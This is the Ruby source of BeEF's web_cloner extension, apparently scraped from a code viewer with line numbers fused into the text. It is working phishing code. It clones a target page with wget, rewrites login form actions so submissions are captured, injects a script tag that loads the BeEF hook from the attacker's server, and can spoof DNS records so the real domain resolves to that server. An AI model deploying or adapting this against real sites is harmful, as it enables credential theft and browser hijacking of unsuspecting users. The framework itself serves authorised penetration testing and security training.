Path: blob/master/extensions/social_engineering/web_cloner/web_cloner.rb
1154 views
#1# Copyright (c) 2006-2025 Wade Alcorn - [email protected]2# Browser Exploitation Framework (BeEF) - https://beefproject.com3# See the file 'doc/COPYING' for copying permission4#5module BeEF6module Extension7module SocialEngineering8class WebCloner9require 'socket'10include Singleton1112def initialize13@http_server = BeEF::Core::Server.instance14@config = BeEF::Core::Configuration.instance15@cloned_pages_dir = "#{File.expand_path('../../../extensions/social_engineering/web_cloner', __dir__)}/cloned_pages/"16@beef_hook = @config.hook_url.to_s17end1819def clone_page(url, mount, use_existing, dns_spoof)20print_info "Cloning page at URL #{url}"21uri = URI(url)22output = uri.host23output_mod = "#{output}_mod"24user_agent = @config.get('beef.extension.social_engineering.web_cloner.user_agent')2526success = false2728# Sometimes pages use Javascript/custom logic to submit forms. In these cases even having a powerful parser,29# there is no need to implement the complex logic to handle all different cases.30# We want to leave the task to modify the xxx_mod file to the BeEF user, and serve it through BeEF after modification.31# So ideally, if the the page needs custom modifications, the web_cloner usage will be the following:32# 1th request. {"uri":"http://example.com", "mount":"/"} <- clone the page, and create the example.com_mod file33# - the user modify the example.com_mod file manually34# 2nd request. {"uri":"http://example.com", "mount":"/", "use_existing":"true"} <- serve the example.com_mod file35#36if use_existing.nil? || use_existing == false37begin38cmd = ['wget', url.to_s, '-c', '-k', '-O', (@cloned_pages_dir + output).to_s, '-U', user_agent.to_s, '--read-timeout', '60', '--tries', '3']39cmd << '--no-check-certificate' unless @config.get('beef.extension.social_engineering.web_cloner.verify_ssl')40print_debug "Running command: #{cmd.join(' ')}"41IO.popen(cmd, 'r+') do |wget_io|42end43success = true44rescue Errno::ENOENT45print_error "Looks like wget is not in your PATH. If 'which wget' returns null, it means you don't have 'wget' in your PATH."46rescue StandardError => e47print_error "Errors executing wget: #{e}"48end4950if success51File.open((@cloned_pages_dir + output_mod).to_s, 'w') do |out_file|52File.open((@cloned_pages_dir + output).to_s, 'r').each do |line|53# Modify the <form> line changing the action URI to / in order to be properly intercepted by BeEF54if line.include?('<form ') || line.include?('<FORM ')55line_attrs = line.split(' ')56c = 057cc = 058# TODO: probably doable also with map!59# modify the form 'action' attribute60line_attrs.each do |attr|61if attr.include? 'action="'62print_info "Form action found: #{attr}"63break64end65c += 166end67line_attrs[c] = "action=\"#{mount}\""6869# TODO: to be tested, needed in case like yahoo70# delete the form 'onsubmit' attribute71# line_attrs.each do |attr|72# if attr.include? "onsubmit="73# print_info "Form onsubmit event found: #{attr}"74# break75# end76# cc += 177# end78# line_attrs[cc] = ""7980mod_form = line_attrs.join(' ')81print_info 'Form action value changed in order to be intercepted :-D'82out_file.print mod_form83# Add the BeEF hook84elsif (line.include?('</head>') || line.include?('</HEAD>')) && @config.get('beef.extension.social_engineering.web_cloner.add_beef_hook')85out_file.print add_beef_hook(line)86print_info 'BeEF hook added :-D'87else88out_file.print line89end90end91end92end93end9495if File.size((@cloned_pages_dir + output).to_s).zero?96print_error "Error cloning #{url}. Be sure that you don't have errors while retrieving the page with 'wget'."97return false98end99100print_info "Page at URL [#{url}] has been cloned. Modified HTML in [cloned_paged/#{output_mod}]"101102file_path = @cloned_pages_dir + output_mod # the path to the cloned_pages directory where we have the HTML to serve103104# Split the URL mounting only the path and ignoring the query string.105# If the user wants to clone http://example.local/login.jsp?example=123&test=456106# then the phishing link can be used anyway with all the proper parameters to look legit.107mount = mount.split('?').first if mount.include?('?')108mount = mount.split(';').first if mount.include?(';')109110interceptor = BeEF::Extension::SocialEngineering::Interceptor111interceptor.set :redirect_to, url112interceptor.set :frameable, url_is_frameable?(url)113interceptor.set :beef_hook, @beef_hook114interceptor.set :cloned_page, get_page_content(file_path)115interceptor.set :db_entry, persist_page(url, mount)116117# Add a DNS record spoofing the address of the cloned webpage as the BeEF server118if dns_spoof119dns = BeEF::Extension::Dns::Server.instance120ipv4 = Socket.ip_address_list.detect { |ai| ai.ipv4? && !ai.ipv4_loopback? }.ip_address121ipv6 = Socket.ip_address_list.detect { |ai| ai.ipv6? && !ai.ipv6_loopback? }.ip_address122ipv6.gsub!(/%\w*$/, '')123domain = url.gsub(%r{^http://}, '')124125unless ipv4.nil?126dns.add_rule(127pattern: domain,128resource: Resolv::DNS::Resource::IN::A,129response: ipv4130)131end132133unless ipv6.nil?134dns.add_rule(135pattern: domain,136resource: Resolv::DNS::Resource::IN::AAAA,137response: ipv6138)139end140141print_info "DNS records spoofed [A: #{ipv4} AAAA: #{ipv6}]"142end143144print_info "Mounting cloned page on URL [#{mount}]"145@http_server.mount(mount.to_s, interceptor.new)146@http_server.remap147148true149end150151private152153# Replace </head> with <BeEF_hook></head>154def add_beef_hook(line)155# @todo why is this an inline replace? and why is the second branch empty?156if line.include?('</head>')157line.gsub!('</head>', "<script type=\"text/javascript\" src=\"#{@beef_hook}\"></script>\n</head>")158elsif line.gsub!('</HEAD>', "<script type=\"text/javascript\" src=\"#{@beef_hook}\"></script>\n</HEAD>")159end160line161end162163# Check if the URL X-Frame-Options header allows the page to be framed.164# @todo check for framebusting JS code165# @todo check CSP166def url_is_frameable?(url)167uri = URI(url)168http = Net::HTTP.new(uri.host, uri.port)169170if uri.scheme == 'https'171http.use_ssl = true172http.verify_mode = OpenSSL::SSL::VERIFY_NONE unless @config.get('beef.extension.social_engineering.web_cloner.verify_ssl')173end174175request = Net::HTTP::Get.new(uri.request_uri)176response = http.request(request)177frame_opt = response['X-Frame-Options']178179# @todo why is this using casecmp?180if !frame_opt.nil? && (frame_opt.casecmp('DENY') == 0 || frame_opt.casecmp('SAMEORIGIN') == 0)181print_info "URL can be framed: #{url}"182return true183end184185print_info "URL cannot be framed: #{url}"186false187rescue StandardError => e188print_error "Unable to determine if URL can be framed: #{url}"189print_debug e190# print_debug e.backtrace191false192end193194def get_page_content(file_path)195file = File.open(file_path, 'r')196cloned_page = file.read197file.close198cloned_page199end200201def persist_page(uri, mount)202webcloner_db = BeEF::Core::Models::WebCloner.new(203uri: uri,204mount: mount205)206webcloner_db.save207webcloner_db208end209end210end211end212end213214215